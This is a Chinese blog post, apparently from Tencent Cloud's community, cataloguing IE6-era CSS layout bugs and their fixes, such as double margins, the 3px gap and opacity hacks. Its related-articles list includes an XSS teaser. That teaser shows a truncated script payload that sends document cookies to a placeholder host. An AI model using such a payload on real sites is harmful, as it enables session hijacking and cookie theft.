div+css布局时常见bug总结

综述:虽然说被停止支持,但是不得不说的是,IE6的市场并不会随着支持的停止而立刻消散下去,对于WEB前端开发工程师来说,兼容IE6 兼容各个浏览器,依然是不得不面对的工作。

在此总结了常见的浏览器兼容问题,里面也有IE6的常见兼容问题,供大家分享。(只是页面布局的bug)

欢迎补充!!!!

1.怪异模式:没有书写<!doctype html>时会触发怪异解析现象。

2.不同浏览器中很多标签的默认样式不同。一般用reset.css文件将浏览器重置。

3.横向双倍外边距:产生的四个条件 浮动 块属性标签 有横向的margin值 在ie6下。解决方法:给标签加入display:inline,使其成为行标签。

4.默认行高:产生的条件 ie6 设置的文字高度超出盒模型内容区域 设置高度时会改变布局。解决办法:加入overfloat:hidden;

5.ie6不支持透明的png图。解决办法:用jpg gif代替或者后期用js解决

6.默认高度:块元素,没有写固定高度时。解决:设置固定高/height:0;overflow:hidden;

7.img外部的border。解决方法:border:none/0.

8.图片间的默认边距。解决方法:所有图片都浮动 写代码时不换行

9.经典3像素:条件 浮动块元素与未浮动元素处于同一行。解决:设置非浮动元素浮动。

10.hover在ie6中只能给a标签用。

11.ie678不支持透明opacity的属性。用独特的代码代替opacity:0.6;filter:alpha(opacity=60).不支持rgba的设置。

12.不支持最大最小宽高:标签的最低高度宽度设置。解决方法:为单独设置hack。

13.子选择器在ie6中不能使用。div>p这是子选择器。可以用来选择父级下的某个子级。 bug总结:常见的bug都出现在版本低的ie中。有可能bug产生于标签的不合理使用或者css样式使用不当。

14.ie不同版本个别颜色的差别。

background-color: #CC00FF;         /*所有浏览器都会显示为紫色*/
background-color: #FF0000\9;       /*IE6、IE7、IE8会显示红色*/
*background-color: #0066FF;        /*IE6、IE7会变为蓝色*/            
_background-color: #009933;        /*IE6会变为绿色*/

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏小特工作室

基于Lodop控件的Web打印示例(含源码)

      最近项目组的打印控件有所改变,已经换成Lodop控件,使用以后发现,功能确实非常强大.可以打印Web页面内某个控件的内容.下面,还是通过一个实例来说...

1868
来自专栏FreeBuf

xss如何加载远程js的一些tips

在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+documen...

2069
来自专栏Web 开发

getBoundingClientRect

今天fix一个拖拽库的IE8bug,发现DOM元素有一个getBoundingClientRect的方法。

910
来自专栏各种机器学习基础算法

原 crontab使用

1363
来自专栏IT技术精选文摘

GoF设计模式快速指南

关于设计模式 本文主要是对原版GoF的23种设计模式提供一个快速的指南。每个模式的介绍包括了类图,讲解,使用信息和真实案例。 创造型模式(C):用于构造可与系统...

18910
来自专栏magicsoar

HHVM源码剖析

一、前言 hhvm源码中充满了很多C++11的新特性,并且使用了各种设计模式如工厂,模板方法等,利用智能指针包裹指针,让delete没有肆意的出现 模板,继承,...

1978
来自专栏deepcc

判断IE版本的语句 [if lte IE 6]...[endif]

3017
来自专栏LanceToBigData

XML(一)XML大揭秘

前言 每天都要学习很多新的知识,比你厉害的程序员比你还努力,那你混的下这口饭吗?所以不抱怨,坚持!接下来给大家分享的是xml。可能很多做开发的都遇到过xml, ...

1809
来自专栏风中追风

java类的加载过程和类加载器的分析

我们知道,我们写的java代码保存的格式是 .java, java文件被编译后会转换为字节码,字节码可以在任何平台通过java虚拟机来运行,这也是java能够跨...

5238
来自专栏进击的君君的前端之路

jQuery

1063

扫码关注云+社区